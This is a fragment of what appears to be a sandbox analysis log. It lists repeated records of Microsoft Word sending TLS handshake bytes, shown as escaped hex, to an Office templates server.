  293. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacjidfv\\xc6\\x833\\x86\\xbb\\x18f\\x97r\\x078_\\xc8\\xfey\\xcah\\xca\\x0f\\xb3r\\xe91\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  294.  
  295.  
  296. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacjs\\xe7\\xa5\\xc35\t\\x01\\xb0\\xc1/nb\\xb2\\x98\\x97+'\\xc1\\xe9s\\xfb\\xb5zj\\x10q\\xb1\\xd0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  297.  
  298.  
  299. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x0cy9::je\\xb4\\x19\\xf1&\\x03\\x05\\\\xd9\\x85fe\\x9a\\xb4\\xf8\\xe4h2*\\x90k\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  300.  
  301.  
  302. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x91\\xb5\\x86\r\\x17\\xd3gw\\\\xbaumw\\x96\\x1d\\x12ie\\xeb\\xa9\\xa4-\\xd6\\x05\\xb5f\\x03\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  303.  
  304.  
  305. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xe8\\xc8\\xc7\r\\x17\\xda\\x8a\\xb5j\\xd4\\x808\\x04\\xa5\\xc9\\xd3\\xb3\\xff\\x88\\xe24#\\xc5\\xdd\\x030m\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  306.  
  307.  
  308. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x93\\xfc\\x83\\xd7\\xe1\\xd7n\\x04\\x08@\nj6\\xd3\\x87\\x1f?\\xda\\xc0\\x83\\xb5\\x0b\\x7f\\x88x\\xcf\\x01\\x96\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  309.  
  310.  
  311. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x8a\\xf4-pj\\x84\\xabn\\xe2\\x1e\\xdc\\xef\\x0e`\\xd4|\\x7f\\x8f~\\xd8\\xcf\\xcbrk\\x8dt\\x07\\xc3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  312.  
  313.  
  314. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xecz\\x87\\xcc\\xa6(`d\\xec\\xf2c\\xbd\\xc9md\\xd5\\xfc\\xa7\\x90\\xb6\\x1d\\xaarxe\\x97\\xc4/\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  315.  
  316.  
  317. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xa9\\xf7\\xe8\\xcc\\xf3\\x92\\xf1\\x1c\\xb1\\xd3\\x95\\x86\\xb1\\xdb-\\xc6\\x87\\xb6\\xa2\\xc3\\xa0^d\\x12=\\xee\\x8e%\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  318.  
  319.  
  320. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xb7\\xf1\\xd7pt\\\\xce\\x94jxub\\x02\\x8e\\x12\\xa7i\\x16\\x0c-\\xf0\\xb8\\x1b\\xa4bv\\xb8\\x12\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  321.  
  322.  
  323. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x13j\\x1ec\\xa2`\\xc5n\\xca\\xa4\\xb7\\xae\\xca\\x8a\\xb3\\xc1\r\\xbbf\\x82\\xb2o\\xc3\\x07\\x15k\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  324.  
  325.  
  326. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\"\\x1dy\\xf6\\xf6\\xdf6\\x15j\\xfe\\xe7\\xe7\\x8d\\x9fa\\xbe\\xe2\\x99\\xc2\\xc4wr\\x1d\\xf7\\x963\\xc6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  327.  
  328.  
  329. "http_request": "winword.exe_WSASend_\\x92\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj.bv\\x8ajng6y\\xa3\\xe8\\xc1*\\xa5\\xc9\\xd6\\x8a#\\x98+\\x9ab|\\xc0p!\\xae\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  330.  
  331.  
  332. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xab\\x05s3\\xe8\\x1a\\x81\\xac\\xee.n3\\xa4ag\\x0e\\xc0\\xa5\\x85<\\x99\\xc9\\x8e\\x0bptd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  333.  
  334.  
  335. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xae\\x99\\xae$\\xeat\\x9d\\x94\\x92s\\xe0,\\x86\\xc0\\xf5\\xab\\x8c\\x80\\xe0zs\\xa9s\\x12^\\x9f;\\x93\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  336.  
  337.  
  338. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xcdj\\xea\\xe2;\\x81\\xd4;!\\d)a\\xc5\\x97\\xf7\\x18!\\xfc\\xb7\\xcf:\\x81*jn\\xf2e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  339.  
  340.  
  341. "http_request": "winword.exe_WSASend_\\x92\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xc8\\xf3\\xd2\\x16@\\xd5\\xb6\\xa1\\x1d5\\x96\\xfc\\xfb\t4\\xa5\\xbf#\\xc3\\x88\\x9btq\\xb3\\x8e\\xc4/\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  342.  
  343.  
  344. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacjam\\x81\\x85\\x03\\x80\\x8e\\x87\\xcfd\\x18|\\xe4wwb\\xd7\\x84:\\x1f\\xec\\xc02\\x03\\x9a'\\x10\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  345.  
  346.  
  347. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x04\\xc6l\\x89\\xbeb\\xdf\\xc1\\x07\\xe3#g\\xafc\\xb7>\\xbca\\xe9\\x93\\xf3\r<\\x81\\x9c\\xfe\\x17\\xb8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  348.  
  349.  
  350. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x0f\\xe2\\xb3\\xb2$\\xab/\\x02\\xc5m\\xfdsgm\\xdb\\xb5\\xab\\xa0\\xa5\\xda.i'\n\\x03d=\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  351.  
  352.  
  353. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x81\\x831cw\\xb3\\xfa\\xd0g\\xd5\\xdb\\xfe\\x99\\x90o\\xb5;\\xd7\\xf9f1~n\\x97\\x18\\xd5\\x95\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  354.  
  355.  
  356. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xf0o|\\xef\\xefw\\xa7\\x8c\\xd7\\x9b\\x91\\xe6\\x1b\\x8d\\xf8\\xfd\\xa0\\xd0\\xfb\\xfd\\x88j\\x86\\xec\\xe3^\\xd9\\xdd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  357.  
  358.  
  359. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x81`\\xc4+mbf\\xe2\\xf5\\x04a@\\xb6\\xa0\\x80\\x95\\xe2r\\x8c\\xcf\\xe8w\t\\xbc\\xe1dgl\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  360.  
  361.  
  362. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x19\\xc6:\\x97\\x90m\\xdee?\\xfe\\xc1z\\x00\\xc1\\xf3\\x03\nl\\x9d>q\\xccyj7\\x91\\xd5a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  363.  
  364.  
  365. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xf0\\xdd\\xab5\\xf3\\xd1\\x88o\\xc9l.\\xc3\\x9e\\xbe\\x95\\x8c\\xa09\\xaa\\xa5\\xb2j\\x16\\xb4\\xcbm\t\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  366.  
  367.  
  368. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xa4xq\\x82s\\xff\\xed`\\x10\\xc6\\x97\r\\xac4\\xa2#\\xdd9~\\x0b\\x0c\\xf8\\xff-\\x82\\x94\\x84\\xcf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  369.  
  370.  
  371. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x1bz<\\xc0vg4\\xce\\xf4;\\x14\\x16z\\x98\\xb6\\x91\\x10\\xa5\\xdex_f\\xf6w\\xa7\\xabx\\x91\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  372.  
  373.  
  374. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj1\\xcb6\\xac\\xe2\\xea\\x8b\\x1dpf\\x8a\\xff\\xb4n\\xf8`.\\xc6\\x94n\\xb7ini\\x80\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  375.  
  376.  
  377. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xfc\\xa1\\xe7\\x1e\\xc7\\xf9\\xe5h9o\\xaf\\xa9\\x81!s,\\xdea\\xad\\xbe\\xee\\xeag\\x99\\x87d\\x15\\xb5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  378.  
  379.  
  380. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x0fi\\x97\\x94\\x07\\xb8\\xd75?\\x8e\\xac\\xfds\\x14\\xbb\\x0e3\\x9a\\x00\\x13\\xed\t\\x1e\\x19<<s\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  381.  
  382.  
  383. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xe7\\xae\\x97\\xf0#\\x84\t\\xbe\\x9c\\xe0x\\xcc\\xc9 5\\xbcbg1d^\\xd8,\"\\xaf\\xd4\\xd9\\x90\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  384.  
  385.  
  386. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x95\\xf5=\"\\\\xe8d\\x9a\\xb3f\\x84xkurz\\x8b\\x05u\\xebgu\\x88\\xbd\\e\\xc7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  387.  
  388.  
  389. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xa1k\\x16\\x8a\\xb0\\xd4\\xdf\\xdb/`\\xd0\\x07_\\xaf\\xac\\xa1\\xda \\xa3|\\x02\\xc1u\\x1e\\x12\\xaeo\\xa9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  390.  
  391.  
  392. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x85i\\x98\\x85\\x0c?\\xf1\\xdb%\\xc4(\\x91\\xfe\\x87ouf\\x84\\xe2h\\x01e \\x1b\\xae\\x15w(\\xafgbg\\xa6\\xea\\x85?xu\\x91f\\x06z\\x0cq\\xebb\\xf2\\x14_2\\xa7\\xbc\\xd9\\x08sn\\x18\\xcd\\x11v\\xa7\\xd9\\xa1\\xaf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf6\\xca\\x83\\x08\\xe5\\xd4/\\xb6\\xf3w#ny\\xf2\\xfb\\x8e-\\xf6\\x96\\x01\r<\\x976\\x1b.\\xcb\\xb3\\xd4^\\xb3\\xae\\xda\\x14\\xfdl\\x9ec\\x19m\\x1a\\xec\\x95\\xbf.\\xfd%\\x04"
  393.  
  394.  
  395. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe3\\x83\\x1e\\x92\\xd4^7\\xec\\x16xg\\xe4|&.v\\x9d\\xc3\\xe3\\x9e\\xf2\\x02\\x9d\\x85\r\\xd8#\\xb5\\xe1(\\xdd\\xcej\\xc9\\x82\\xd3\\xc6\\xf8~\\xd8d\\xda\\xd5\\xaejn\\x8f\\x07z\\xe7\\x85\\xa7,\\xba~\\xed\\xec\\x16\\xe0d\\xb0rj#\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcf\\x1f\\xf4\\xd1p\\xacvxo'\\xf8\\x94\\x1al6\\xcdf\\xa1\\x939\\xcc\\x17v\\xb8\\x1c~\\xda\\xf3\\xee\\xd0\n\\x178\\x18\\xadr\\x85\\xf0\\x1d\\xcd\\x0e\\x12`$a\t\\x12"
  396.  
  397.  
  398. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj&\\xdb\\xeb\\xd4t\\xc2\\xa4\\xcc\\xee\\xf2\\x9bk\\xe7d\\xb5\\xe3fz\\x17\\xd9:\\xa0\\x86\\xc7\\xd1\\xcfc\\x90\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  399.  
  400.  
  401. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb7\\xdf\\x1c\\x1b\\xde\\xfc\\xf0:\\xadq\\x8a\\xce\\xce\\x19\\x9bs\\xee\\x13(su\\xc4\\xae\\xc9^ks\\x8e(&\\xda\\xf4\\x1f\\x976\\xdah\\xbb\\xdco\\x1a\\x19\\xa8s\"\\x8b\\x95\\x9dim\\x94\\x7f\\xe6\\x12cjkv)@\\xe0\\x8f%\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9eb\\xc2z\\x19\\x93*\nto\\xb6-r\\xb9\\xd3l\\x02\\x02\\xc1\\xe9\\xc9f\\xec.q|\\x8by\\xc7\\x85\\x84b\\xcb\\x1bu\\xc4j\\xb1\\xa1\\x8f\\xcf\\x0c\\xf9\n\no\\xf4"
  402.  
  403.  
